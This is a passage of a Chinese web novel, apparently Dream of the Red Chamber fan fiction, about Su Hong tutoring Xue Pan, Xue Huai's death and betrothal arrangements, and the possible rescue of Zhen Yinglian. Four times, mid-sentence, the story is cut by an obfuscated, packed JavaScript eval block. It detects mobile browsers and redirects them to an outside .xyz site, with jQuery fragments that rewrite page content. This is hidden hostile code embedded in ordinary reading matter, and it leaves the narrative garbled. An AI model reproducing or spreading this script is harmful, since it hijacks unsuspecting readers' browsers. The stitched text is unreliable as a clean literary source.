苏家是耕读人家，家中原先虽不富裕，但供养夫君等读书却是绰绰有余。待夫君高中后，自己也带了陪嫁，托名置办几间铺子，日复一日也有不少出息。如今老宅也已是翻修过两回，让弟子子侄过来读书也尽够了。 寻常他们在京城做官，不能照顾家中子侄。如今得了空闲正好照顾族中，也是结个善缘。不过苏家亲近些的也就只有珑叔家，他家的浩哥儿年方六岁，正是读书的年纪。 苏父闻言思忖片刻，点头称赞：“夫人说得有理。” 他又叹道：“我未曾上京前，甄家老兄还叮嘱我回金陵后支会他一声，要来会我。可恨这两年不曾收到丝毫音信，托亲友打探都只说是原本的宅子被烧了，投了岳父家。” 苏母亦然记得丈夫的至交好友和他夫人封氏，说道：“甄老兄家中也有资产，想必是要重整家业，顾不上与你通信，还是得咱们细细查访。” 苏鸿在旁听见，竟隐约像是甄士隐家，不由问道：“儿怎么没听父亲说过甄伯伯？” 苏父笑道：“为父未科举时立志游遍大江南北，却连金陵风光都没有游览完。在姑苏时可巧银钱被偷完了，正要想办法筹措时碰到你甄伯伯，他听了二话没说就慷慨解囊。我在他家小住几日，真是神仙一流的人品，我极感激敬服，便与他结为兄弟。高中后，又带着你母亲抽空去姑苏探望。” 他接连托付未果，不由做起了最坏的打算。便是甄家老宅被烧，甄老兄也不至于忘了他京中住址，总能捎来信件。如今必得他亲自派人查访，是死是活总要有个定论。想必过段时日就有信儿了。 苏鸿若有所思，没想到自家竟和甄家还有这段缘分。不由想起甄英莲，自己虽不知具体面貌，但眉间有胭脂记却是个极好认的特征。可惜书里不曾写那门子的家在何处，不然也能提早把甄英莲接出来。 回家之后，苏母便赶忙张罗起来，把外院的一处幽静院落收拾好，安置上书桌书案、笔墨纸砚等物。不过三五日，一切都准备就绪。薛怀又亲自带着薛蟠过来送束脩，拜见老师。 当日便命薛蟠留下读书，与苏鸿认了师兄弟。苏父本以为薛怀说薛蟠不学无术只是谦虚，没想到薛蟠长这样大，竟真是大字不识几个。但想到也不指望薛蟠科举，便安心教导薛蟠习字，又令苏鸿在旁辅助。 正巧苏珑家的浩哥儿也才习字不久，能与薛蟠作伴。至于苏鸿，他已将四书五经都看完了，如今不过是深入领悟、背诵，间或看些律法、讲解各地风俗、地理的书籍罢 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16285808|182587||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 了。 薛蟠虽说骄横，但既认了师父，再没有对着老师发脾气的道理。苏鸿素有孝名，又温和知礼，薛蟠对苏鸿亦有一番敬意。又见上至师父师母、下至苏鸿苏浩等皆无贬斥他学问的意思，一时倒也能安下心来读书习字。 此时薛怀领了皇命再次出门，薛太太母女生怕薛蟠没了管束故态复萌。日日提心吊胆，生怕薛蟠回家抱怨不学了，又怕苏家把薛蟠退回来说教不了。 没想到日复一日下来，薛蟠倒是十分乐业。先前大字不识几个，如今也能照着书本念两章给薛太太听。不仅如此，苏家连君子六艺也不曾放下，薛蟠如今再出去，倒真像个读书上学的公子了。 喜得薛太太母女越发敬重苏家，正巧薛怀和他兄弟二人都离开金陵，薛太太闲暇时就常常带着女儿到苏家。一则和苏母说话解闷，二则也好和薛蟠一起出入，看管他不要惹是生非。 谁知薛太太虽出身王家，家中不令女孩儿读书，但嫁入薛家后却和丈夫琴瑟和鸣，被丈夫引着读书认字。而苏母自幼有家中父兄教导，嫁给苏父后夫妻二人常常唱和，亦可称为才女。二人凑到一处，再添上几个妯娌，或是针黹或是教习女孩儿们读书，薛苏二家越发亲近。 苏母只有苏鸿一个哥儿，因生下苏鸿之后更是虚弱，苏父便严格避孕，不欲再让苏母有孕。苏母见宝钗举止娴雅，小小年纪就有世家小姐风范，又感激其父恩德，对宝钗更是当亲女儿一样疼爱，恨不能将自己所学所会的全都教给宝钗。 只是另有一件罕事。薛怀的兄弟偶尔会带着妻儿回到金陵，常常也由薛太太带来苏家热闹。苏家夫妻才发现数来数去，薛家兄弟姊妹四个里竟只有薛蟠是跟木头，其他的竟是一个赛一个聪明伶俐。 且说苏鸿见了薛蝌后，倒是一改对薛蟠的严格鞭策，反倒生怕薛蟠因技不如人感到怨愤，着力开解。薛蟠先是不明所以，回过味儿来便像捏住把柄一样，使唤苏鸿做这做那。 苏鸿倒是发现薛蟠的小心思，见他不将此事放在心上，便笑道：“好你个师弟，借着师兄怜惜你就使唤我，白瞎了师兄疼你的心了。” 文之一道不论年纪，只论先后，是以薛蟠虽比苏鸿大，却是师弟。平日里师兄弟辈分自是紧要，师弟对着师兄是要俯首帖耳。苏鸿平日大人一样，如今薛蟠好容易捉弄苏鸿一回，自是乐得哈哈大笑。 薛蟠见苏鸿这么快就识破了自己，乐得端起苏鸿刚给他研好的墨笑道：“嘿嘿！谁让师兄小看我，这不是让我得了便宜？我再粗苯也有自知之明，去嫉妒人家做什么，你们难不成就不管我了？” 薛蝌笑得趴在书案上，连连道：“很是很是。” 苏鸿见他们兄弟二人都心地宽大，忙笑着给薛蟠作揖道：“好师弟，是师兄小看了你，给师弟赔罪。是师兄以小人之心度君子之腹，还望师弟原谅则个。” 苏鸿所想也是人之常情，薛蟠自不会不知好歹。他大爷似的坐着，一挥手道：“那就烦请师兄再替我研墨，师弟好写大字做功课。” 见薛蟠如此主动做功课，众人都乐得大笑。苏鸿哪有不依的道理，笑道：“多谢师弟宽宏大量。” 5. 婚约 院外，本是来看看他们是否认真读书的苏父、薛愉见此场景，笑道：“让鸿哥儿在这儿是看着他们读书的，没想到鸿哥儿带头玩笑起来了。” 薛愉见儿子和侄子都高兴，哪有怪罪苏家的道理，笑道：“世兄哪里话，他们小孩子家，读书是一回，也不能失了天性，不然也不像。我和哥哥常年不在家，我这侄子全仰赖世兄教导才这样明理，我们阖家都感激不尽。” 如今这世道，多得是富贵人家不过三两代就因纨绔子弟败落。薛家大富不假，却也是站在风口浪尖的人物，如今都中动作频繁，稍有不慎就满盘皆输。本身若没破绽，倒也能挨上几代，若出几个纨绔子弟，恐怕也如其他家族，两三代就没落了。 蟠哥儿从前倒有些纨绔子弟的迹象，如今拘着他读书，虽说因天资所限读不出名堂来，好歹也通晓律法、知道利害，像个正经人。如此，薛家的银钱也尽够他们几代人挥霍，他们做长辈的也少操些心。 苏父闻言，对薛家兄弟有此心胸认知十分敬服。多有富贵人家不管自家子侄是何天资，一味要求师者严加管教，殊不知并非人人都是读书的材料。就拿薛蟠来说，他在读书上稍显愚钝，却又于人情事理上事事明白，心胸阔达，如此也不失为君子。 他们谈笑一番，见院里都安静下来看薛蟠写字，便不想打扰他们，又悄悄离开。内院中，苏母搂着宝琴笑道：“平日只见宝丫头，没想到你们琴丫头才三岁，就出落得这样让人喜欢。若不是你们家，还亵渎了这样的人。” 苏母没有女儿，对宝钗宝琴这对姐妹越看越喜欢。问宝琴姓名年纪，见她对答如流，更是爱得不行。 薛太太也乐呵呵搂着宝钗道：“她父亲母亲也都是神仙一样，只可惜我妯娌近来病了，不然你一见，恐怕都不愿意和我这样的俗人来往了。” 苏母好奇道：“难不成是水土不服？咱们来往这样长时间，确实不曾见过你妯娌。她跟着你们家二老爷行商，见过的世面比我不知多出多少，想想就令人羡慕。” 毕竟家中富贵，少有会出去抛头露面的女子。薛家二太太能这般自由，可见这对夫妻极为恩爱，夫唱妇随。再一个，连男人们身强力壮，行商回来也觉脱了一层皮，更别提女子了，身体弱的只怕吃不消。 薛太太笑道：“正是水土不服。回头我妯娌好些了，就让她也来。她的才华比我胜十分，作诗写词不在话下，你们肯定投缘。我头几年也跟着出去，为了蟠哥儿和宝丫头才留下，不然我也出去见世面了。” 二人说着便让侍音带着宝钗和宝琴去暖阁看书作乐，薛太太方道：“说来先前你托我打听的事也有着落了，可叹是件悲凉事。” 苏母便知是甄家的事，忙道：“姐姐请说。甄家老爷和我们老爷是忘年交，自从前两年没了音信，老爷就一直托人查访，只是蹊跷无人知晓他们阖家搬去哪里了。” 薛太太便道：“甄家这事也奇，我心中有些拿不准。你知道我们姐儿生下来有热症，多亏一个癞头和尚送来一副海上仙方，又送了八个字让錾在金器上。我们本不当回事，谁知吃了这海上方，我们姐儿就好了。” 她见宝钗宝琴姊妹尚在看书，便低声道：“这甄家出事前，也有个癞头和尚、跛足道人去甄家，要度化甄家姑娘出家，以免甄家灾祸。甄老爷不愿意，谁知翻过年的元宵节，甄家姑娘就被拐走了。” 苏母闻言一惊，忙道：“这是不是头两年的事？怪不得甄家自此与我们断了音信，想是急着找女儿。” 薛太太道：“应当就是这两年的事，伙计也未曾将时间打探清楚。他们说后来因庙里失火牵连到甄家，甄家便被迫到庄子上度日。可巧那里不太平，甄老爷就带了妻子去大如州投了岳父。我们伙计又去了大如州，却听闻甄老爷出家了，只留他妻子在岳父家过活。” 见苏母默然无言，便知她心里不好受。半晌，苏母才叹道：“可恨拐子，将好好一家人都弄散了。若非姐儿丢了，甄老爷夫妇未必会颓丧至此。” 薛太太说起此事也十分感伤，拿着帕子擦擦眼角的泪水道：“正是呢，哪个孩子不是父母的心头肉。” 苏母便道：“事已至此，咱们感伤也无益。姐姐请将她们的住址给我，回头想法子暗暗打探，说不定还能寻到甄家姐儿。甄老爷当日仗义疏财，救助我们老爷，再如何也不能视而不见。” 薛太太连连点头，将早就准备好的纸条递给苏母。苏母不想气氛如此感伤凝滞，便问道：“说来，这癞头和尚也像是有几分功力。不知他给宝丫头赐了什么字？” 薛太太平日自不会将女儿的事向外说，涉及婚事，连宝钗都不曾告诉。但苏家与薛家已是通家交好，自是不忌讳。她道：“是‘不离不弃，芳龄永继’这八个字，还说必要与有玉的结为婚姻。度其意思，不过是要姑娘家好生侍奉丈夫公婆罢了，倒也没什么特殊的。” “‘不离不弃，芳龄永继’。”苏母口内低低念了两遍，转念却想起荣国府的一桩旧事。薛太太的亲姐姐嫁入贾家，似乎正好生下位衔玉而生的公子。 若依和尚所言，这玉恐怕指得就是贾家这位哥儿。 但想到贾家的做派，苏母道：“虽说是天命不可违，姐姐也不必过于拘泥于死物。《礼记》说君子比德如玉，说不得是姐姐要得个好女婿呢？” 她倒觉得这八个字不好，只是这话不好直言。何况那和尚竟是有些道行，贸贸然给了女孩子这样的批语，不知是要做什么勾当。 因而苏母只话音一转，调侃几句。薛太太也笑道：“我们老爷也是这样说。依我看，这和尚也确实多事，我们这样的人家难道不挑女婿的？” 二人说笑一会儿就做起针黹，到晚间才送了他们一行人回去。 待到晚间，苏母便将薛太太所言甄家事告知苏父，苏父心中便闷闷不乐。苏鸿见状，想起甄英莲不知被藏在金陵何处，便道：“父亲不必泄气，我想甄伯父许是一时灰心，未必走远。不如派人去看看伯母，请伯母好生保养，咱们在金陵及周边暗暗寻访伯父和甄大妹妹。” 苏父连连答应，忽而有些疑惑地看向苏鸿道：“这么说，你觉得 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16285809|182587||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 你大妹妹还是被藏在金陵？” 苏鸿一怔，忙道：“和师弟闲聊时听说了几起破获的拐子案，多是藏在本地，等能看出样貌了才决定出手。儿想着甄妹妹年纪小，许是被拐子藏在哪里也未可知。” 苏父闻言沉思片刻，叹道：“金陵如此之大，如此真是大海捞针。也不知甄老兄到底往何处去了，让我进退两难。” 这世道对女子何其不公，大张旗鼓找人当然是最便捷的，可偏偏涉及女子名节，反倒让他只能暗查。只希望甄家侄女尚且安好，不然他再难安心。 却说过了一年半载，薛怀照常出门做生意，却在月余后被伙计们慌慌张张抬回来，俨然已是重病缠身，即将不久于人世。 苏父接了薛家递来的消息，也顾不上收拾，连忙带着苏鸿和薛蟠赶往薛家。到场一看，薛家不少亲戚故交都围在此处，人来人往。 薛家管家一看苏父带着薛蟠和苏鸿过来，连忙把人往里请。薛蟠看父亲竟是这般清瘦，一时也无法接受，双眼含泪跪在床旁。待想哭时，却被苏鸿一把拉住。 苏父是见过生死的，一见薛怀境况，就知道怕是这两日，心中大恸，只是面上亦不敢作悲。他一把上前拉住薛怀的手，坐在床边道：“贤兄……” 薛父受了外伤，还能勉强支持。见他们面带悲色，反而苦笑道：“我行商半辈子了，却不想自己竟被劫匪所伤，实在是天意难违。” 说着他看向苏父：“你们也不必安慰，我自己知道。” 此言一出，屋内人都忍不住伤感，尽皆两眼含泪。苏父极感性，见恩公如此悲言，当即哽咽一声。他紧紧拉住薛怀的手道：“贤兄如有交代，弟无不从命。” 薛怀闻言，竟是有些精神。他示意薛太太支开屋内闲杂人等，只留了薛愉、薛蟠连带苏家父子二人。 他正色道：“愚兄有一言，还望贤弟应允。我薛家也是世宦读书人家，以蟠儿的天资恐怕无法全盘承接家业，但也尽够几世挥霍了。唯有膝下一女，愚兄实在放心不下。” 他见苏父面色惊疑，便知他已经知道太子被废之事，轻描淡写道：“一些生意要交还皇家，也不指望蟠儿有所作为。” 他早知已无生路，干脆将该献给今上的献给今上，不该沾手的生意也都处理掉。如今他这一支只剩蟠儿，又不知晓这里头的道道，即便没落，终究与性命无碍。 苏父沉默片刻，攥紧薛怀的手道：“弟虽不才，起复后也只是寻常文官，原也配不起。但鸿哥儿为人贤兄也知晓，如不嫌弃，不如就为他们定下婚约。有我苏家一日，绝不至于让蟠哥儿没有下场，绝不亏待宝姐儿。” 苏父明白他即便拒绝也是人之常情。只是薛家待他甚厚，蟠儿也是他的弟子，他不会拒绝。何况他也听夫人频频赞过宝姐儿，说她一派世家小姐风范。 薛怀将目光移向苏鸿，苏鸿没想到不过几句话的功夫就要给他和宝钗定下婚约。但他亦不想拒绝，当即跪在床前道：“世伯放心，薛家恩义小子至死难忘，定会照看好大哥哥、照顾好伯母和大妹妹。” 6. 薛怀逝世 他自知此事不需要什么华丽辞藻，只要说得斩钉截铁、说到薛伯父心中便可。果然，薛怀闻言很是高兴，苍白的脸颊上也透出些许喜意。 他叹道：“好孩子，我最知道你们父子品行，如今才敢把女儿托付给你们。咳咳咳……” 说着便咳个不停，薛愉和薛蟠连忙上前给他捶背倒水。苏父忙道：“快别说这丧气话。等我回去，不，我现在就命人回家取信物。我们苏家有一块儿祖传羊脂白玉双狮佩，就以此为定礼。” 说着便连忙推门出去，将家丁喊过来，叮嘱一番后就命他回家取定礼。薛怀见他这般，便也放下心，说道：“如今是多事之秋，不必对外宣扬，只待时机成熟之后再正式过礼。日后，她们孤儿寡母，就全托付给二弟和贤弟了。” 薛愉和苏父连忙应下，见薛怀精神不好也不敢再引着他说话，连忙喊大夫进来照看。薛蟠没想到父亲会忽然病重，还说出这样一番话，心中颇不是滋味，只是不敢多言。 此时，苏母得了苏父的口信，隐约猜测到什么，连忙亲自带着双狮佩过来。薛太太也被薛怀叮嘱，将早就准备好的一只纯金白玉牡丹簪取来。双方在薛怀病榻前交换定礼，一时都有悲色。 见天色已晚，薛怀便道：“贤弟听愚兄一句，我们家与贾家、史家、王家素有姻亲，关系极近。但贤弟只不要理会他们，少与勋贵来往为妙。天色已晚，贤弟快去吧。” 苏父闻言连连点头，带着妻子离开薛家。待苏家人离开后，薛太太抹着眼泪坐在床榻旁，方问道：“老爷这主意也太过突然。鸿哥儿虽好，但我外甥衔玉而生，更适合宝丫头。老爷岂不知甄家的事，就怕改了婚事让宝丫头受累。” 薛怀静静躺在床上，闻言道：“允慈，别哭。我此行去京城，亲眼见了宝玉，虽有批语在先，但六岁看老，他实在不像是良配。和尚道士的话不可不信，但鸿儿不也有玉，谁说非得是贾家的？” 薛太太闻言捂住脸，不欲让哭声外泄，终究不曾忍住。她哭道：“老爷，好端端的怎么就遇到劫匪，死伤这样多，我怎么去见他们家人。” 她不好直接哭薛怀，便只如此借口，方能在此时痛快地哭出来。 薛蟠在旁一言不发，只连忙给母亲擦眼泪。薛怀有些疲惫道：“跟着我跑了一场，多多抚恤，不然怕他们心寒。这也是意想不到的事，连我也躲不过天命。” 薛太太连连点头，薛父又交代薛蟠道：“四王八公显眼不说，竟连几个上的了台面的子弟都没有，我一一看去，吃喝嫖赌无一不精，堕了祖宗名声。虽不至于断亲，但也别和他们瞎混。日后多听你叔叔、师父、师兄的劝，凡事想着你母亲妹妹。” 薛蟠也含泪点头，见父亲想喝水，连忙把茶水端过去。此时，薛怀才交代把宝钗带来，见宝钗含悲忍泪，一时更是难过。 他膝下一双儿女，最是疼爱宝钗。见她小小年纪丧父，不免担忧薛蟠不能为她们母女支撑，又想到为她择了良婿，才稍稍放心。 他含泪握住宝钗的手，说道：“我的儿，父亲为你择了你苏大哥哥。苏家虽不算富裕，却是难得的知恩图报、温厚良善。但若他们日后有变，也不必拘泥于婚约，为父只盼着你能有终身依靠。” 宝钗闻言双目含泪，跪在床旁连连点头，满口说着请父亲放心等语。 不多时，族中亲近子弟都到房内，薛怀一一叮嘱过，见阖家老小都在跟前心中不免伤怀。又看了眼宝钗，十分不舍，强撑着叮嘱薛蟠：“照顾好你母亲妹妹……” 一语未完便溘然长逝，当下全家上下一起哭起来，亲近子侄连忙上前帮他脱换衣裳。外头伺候的下人们听见里头传出哭声，也连忙将匆匆预备下的白纸、孝棚等拾掇起来，匆匆换上孝服。 且说苏家一行人恹恹不乐回到家中，俱是长吁短叹。苏鸿也不曾预料到会有这般飞来横祸，在功德宝轮中搜来搜去，却连半点有用的东西都没有。何况他年岁尚小，便是想积攒功德也无处施为，不过才五百而已。 又想到自己与宝钗定下婚约，竟间接破坏了金玉良姻，不知日后《石头记》是否还会上演。 半睡半醒间，苏鸿恍惚感到一阵冷寂，看到薛怀在门外站着，笑道：“鸿哥儿，我已别过你父亲，就要走了。只有一句话，天命无常，惟有德者居之。你是有大本事的人，莫要被富贵云烟所惑。” 苏鸿见他要走，心里一急就要喊出声，登时清醒过来。他一把将帷帐掀开，见外头却是空空荡荡，一时心悸难言。风信被吓了一跳，连忙问发生何事了。 不多时，苏父便披着外衣寻到苏鸿房里，见苏鸿坐在床边忙道：“你师兄前来报丧，快些收拾起来。”语罢又匆匆回去，自取了素色衣裳穿好，一行人又赶到薛家。 当下天色昏昏，薛府从外至内却被照得亮如白昼。里面哭灵声地动山摇一般，让人听了便心中压抑。苏父忙带着苏鸿至停灵之地，扶棺痛哭一回。 薛家故交亲友也知苏父曾蒙薛怀救命之恩，又收了薛蟠为弟子，两家现今通家交好，见他来此亦不为罕事。 薛蟠见师父哭过一回，连忙将其扶起请入外头坐着，又迎来送往招待客人。薛愉和薛蟠忙得团团转，苏父便也帮忙在外支应。苏鸿年虽十岁，却也跟在苏父身边帮忙照应来客。 薛蟠年岁尚小，一应丧仪皆有其叔薛愉、苏父帮着照应，里头则是薛太太、薛蟠的婶母以及苏母帮忙迎来送往。因薛家势大，加之薛怀生前急公好义、扶危济困，一连七七四十九日，整条街上人来人往，前来吊唁官客堂客不绝。 不仅如此，薛蟠将薛怀死讯上报，到七月底今上便传下一道旨意，念及薛家世代功勋，薛怀又是任上被劫匪所伤致死，赏抚恤银千两，谕薛蟠仍在户部挂职，领内府帑银行商。 圣旨传下之时，苏父正巧在薛家 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16285810|182587||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ，总算将一直提着的心放下。好赖皇家还要些脸面，把薛家牵扯进去也知道给些补偿。 苏父道：“你袭了官，日后更要好生侍奉今上，恭敬勤恳，方不负今上仁德。我守孝已满，前些日子已得到消息，朝廷命我回京候缺，已择定下月初十就要起身。” 薛蟠闻言忙道：“弟子还要在金陵守孝，师父和师兄都要去都中不成？” 苏鸿笑道：“父亲母亲是要一起入京的，总不能耽搁朝廷大事。只是我预备明年参加县试、府试，若是顺利，就留到后年参加院试再回都中。” 这也是他们商议过的结果。薛家叔叔也要给皇家办事，一年中在金陵的时间甚少。他们也担忧薛蟠无人管束又故态复萌。二则，金陵与都中来往也要两月，调养休息又要不少时日，苏鸿生得再健壮也吃不消这样的奔波。 薛蟠本是担忧苏父苏鸿都到都中，剩他一人与母亲妹妹作伴未免孤寂。但听到苏鸿当真要留下，又觉拘束，别别扭扭道：“以师兄才学，入学自是一切顺利。” 他对老父丧生亦觉怅惘，只是他素来心胸豁达，又忙着丧仪，又忙着安慰母亲和妹妹。现在再回想起来，虽觉遗憾痛惜，却也不至于如刚发生时天塌一般。 苏鸿留心观察，见他果然好些便放下心。苏父捋着胡子看他师兄弟二人说话，半晌才道：“我吩咐你师兄隔几日到你府上给你母亲请安，你还要依着给你定下的规矩做功课。念在你现今袭官杂事多，一律减半。只是若有半点不好，仔细我揭你的皮。” 薛蟠也领教过严师的苦，何况父亲没了，亲近的长辈只剩叔父和师父，自然不敢顶撞。何况苏父对他的要求并不高，不过是每日写几张大字、读一页书，算不得难事。 到八月，苏父苏母等人便辞别金陵一众故交亲友，留下风信在金陵照看苏鸿。刚回京城，恰好翰林院侍读一职缺出，因苏鸿外祖借机使力，苏父顺利补上此缺，此乃后话。 苏鸿家老宅与族叔家相邻，又有壮仆家丁，苏鸿倒也不惧，命人重新封了老宅大部分房舍。 薛太太及薛蟠有心请苏鸿去薛家暂住，又怕打扰他备考，便也搁置不提。苏鸿便每隔五日便去薛家，一来给薛太太请安，二则检查薛蟠的功课，三来学累了也可疏散心情。 薛苏二人虽有婚约，但两家只是口头定婚交换定礼。二人虽都知情，但小小年纪自是不知男女之事，懵懵懂懂，仍是以兄妹相称。薛太太等见了，才放下心。 论理虽不该再叫未婚夫妻见面，但薛太太揣度他们二人尚小，并无嫌疑。何况每每相见她和薛蟠都在场，便也并未提及避嫌一事。她与苏鸿相处日多，越发喜欢起来，便也将和尚所言渐渐放下。 谁知又过了一年，此时苏鸿已在年初连过县、府两试，均为案首，已是板上钉钉的秀才。薛太太见苏鸿如此越发喜欢，每每在他请安时都搂着，竟比薛蟠这个亲儿子还胜。 7. 甄英莲 苏鸿有薛怀嘱托，又有婚约，早将薛太太视为亲母，待薛太太亦十分亲近。二人感情深厚，倒让薛蟠既感激苏鸿能让母亲宽心，又对苏鸿如此得宠有些吃味。 今日下了雪，正巧苏鸿披着鸦青羽缎的斗篷从外头进来，身上全是雪珠。薛太太见了，连忙让人接过斗篷给苏鸿掸雪，又一叠声吩咐烧热茶来。 苏鸿脱了斗篷笑着问安，薛太太早一把搂过他叫他坐在自己身边。她笑道：“我的儿，下着雪怎么还往这里来？” 宝钗正坐在母亲身旁针黹，见苏鸿过来抿唇一笑，复又低头理线。 苏鸿冲她点点头，笑道：“今日看邸报，见朝廷降旨，除聘选妃嫔外，还要为公主郡主选入学陪侍，充任女官。我想着圣旨一下，伯母和哥哥定是准备带大妹妹入京，便过来看看。” 《石头记》原文倒是拉拉杂杂说了一筐，但看上去最主要的还是书里的大哥哥想上京游玩。若非如此，大妹妹也才九岁，远不到年龄。他来此，反倒是为甄世伯的女儿甄英莲。 书里并未明写大哥哥是何时买来甄英莲，他也只好近日常来薛家，免得错过。 薛太太闻言笑道：“我的儿，难为你想着，方才我还和你大哥哥说起来。本想着到时候再入京也罢，谁知你大哥哥说正好入京销算旧账。我再一想，你翻过年二月间就考完院试，必也要回京的，咱们正好一起入京，我也放心。” 苏鸿闻言一怔，也不与薛太太客气，笑道：“多谢伯母想着，我正愁大哥哥一走，再无人跟我说话了。” 正说话，薛蟠便掀开帘子进来，跺跺脚上的雪，见苏鸿在也不意外。他大咧咧脱了斗篷，嚷道：“师兄定是听到消息才过来？我说朝廷也太会想法子了，谁乐意把好端端娇养的女孩儿送进宫去。说得好听，还不是去伺候人的。” 薛太太瞪了薛蟠一眼道：“混小子，这也是能张口说的？” 宝钗见说起入宫一事，便也放下手里的活计侧耳听着，见哥哥也不赞同自己入宫也松了口气。一入宫便少说要十年功夫，见不得亲友，孤身一人在宫禁中，不提也知有多难熬。 薛蟠这才想起姨娘家的元春就被送进宫做了女史，不小心把姨娘家给骂进去了，连忙凑到薛太太跟前讨好卖乖。苏鸿见薛太太并未真的生气，才对薛蟠道：“大哥哥说话经心。此乃陛下天恩，岂可信口胡说。” 薛太太搂着苏鸿笑道：“你大哥哥嘴里没个忌讳，不如你和你大妹妹沉稳。” 虽说这话谁都说，但他们这样的人家却还是小心为上。若不小心传出去被谁听见，最怕被拿起子小人拿去添油加醋。 薛蟠连连保证再也不这般，才有取出几封书信道：“舅舅和姨娘那里又来信，说要接咱们入京呢。我想着师兄翻过年二月也就要入京，不如咱们带着师兄一起入京，岂不方便？” 宝钗笑道：“妈和哥哥都想到一起了，才说要等鸿大哥哥院试完一起入京呢。” 苏鸿也点头道：“父亲本是嘱托珑叔送我入京，如今伯母家既然要走，自然是一起动身最好。待我回去就给父亲去信，父亲定然放心。” 薛蟠喜得拍手笑道：“这更好！” 说着又向薛太太道：“咱们在都中也有几间房舍，只是许久没人进京居住，过两日儿子就派人先去打扫干净了。” 薛太太笑道：“这样招摇做什么。咱们入京后还要先拜望亲友，你舅舅升了外省暂且不提，你姨娘家的房舍极便宜，咱们去了未必不苦留。咱们这会儿忙叨叨收拾房屋 ，岂不让你姨爹姨娘见怪？” 薛蟠本也无所谓，只是想着住自家到底方便些。但转念一想，自己入京之后各处拾掇生意，得了空闲也要去师父跟前侍奉，家中便只剩母亲和妹妹。如此一来，倒是住在姨娘家更方便。因而便也连连点头，不与母亲争执。 薛太太见薛蟠并无异议，又搂着宝钗叹道：“我与你姨娘一别数十年，岂有不想念的。咱们家又只有你和琴姐儿，成日里跟着我越发孤独了。你姨娘家有好几个姊妹，你们一块儿伴着也开怀些。” 苏鸿见薛太太情绪低落，笑着凑趣儿道：“伯母一入京，恐怕就忙得不可开交了。我母亲早盼着您入京，到时候今儿贾家，明儿王家，后儿苏家，每日坐车都能头晕眼花的。” 宝钗抿唇一笑，也说道：“正是呢，咱们家多少故交亲友都在都中，她们听闻妈入京，一下就热闹了。姨娘家的几个姊妹听说都是极好的，我也盼着和她们一处，到时候妈就嫌弃我们聒噪了。” 薛太太闻言越发开怀，拉着他们喝了两口热酒暖暖身子，就要打发他们去书房做功课。 薛蟠此时才想起来，乐呵呵道：“方才门房上有个人牙子来，问我们买不买丫头。我打门口儿经过，见有个小丫头和妹妹差不多大，眉间有颗胭脂记，像是在哪儿听过似的就买下来了。一会儿梳洗好了妈看看，喜欢就留下使唤。” “胭脂记？” 苏鸿和薛太太闻言异口同声，都想到了甄家被拐走的甄英莲。苏鸿本就是担心甄英莲近期会出现才来，闻言忙站起身问道：“大哥哥说她有胭脂记？我甄世伯家丢了姐儿，正是眉宇间有颗胭脂记，一直暗暗查访不曾找到。听父亲说，今年应当也是九岁上下了。” 宝钗闻言也站起身，她听苏母和妈提过，也知此事。她想到被拐女孩儿的艰难处境，一时也有些着急，不知是否就是甄家的女儿。 薛蟠一拍大腿，听苏鸿这般说才想起来。他忙道：“问她年岁，她也都忘了，只是看着跟妹妹差不多。若果然是她，那可就积了大德了。” 薛太太也忙道：“快去催催，带来我问问。” 身旁伺候的人早在她们说起此事时便到外头催促，不多时就有婆子带了一个面色白皙、眉目清秀的小丫头进来。众人忙看她眉心，果然是个米粒大小的胭脂记。 薛太太当即让她上前来，见她品貌果然不似普通人家的女儿，若是苏母口中那对神仙夫妇的女儿倒也使得。便拉着她的手细问姓名、来历、年岁等 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16285811|182587||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ，皆回答不记得。 薛蟠见她如此说，惊道：“那人说这是他女儿，因无钱偿债才卖她，不想竟是拐来的。若真是如此，这拐子可是死罪。” 虽说律法如此，但若未寻到也就罢了，谁家女儿被寻回后还肯大张旗鼓告官。都是寻常人家，即便让女儿做一辈子在世女，女儿知事后也难免自伤自叹。也就皇家公主仗着亲爹才能浑不在意，旁人谁敢说一个不字。 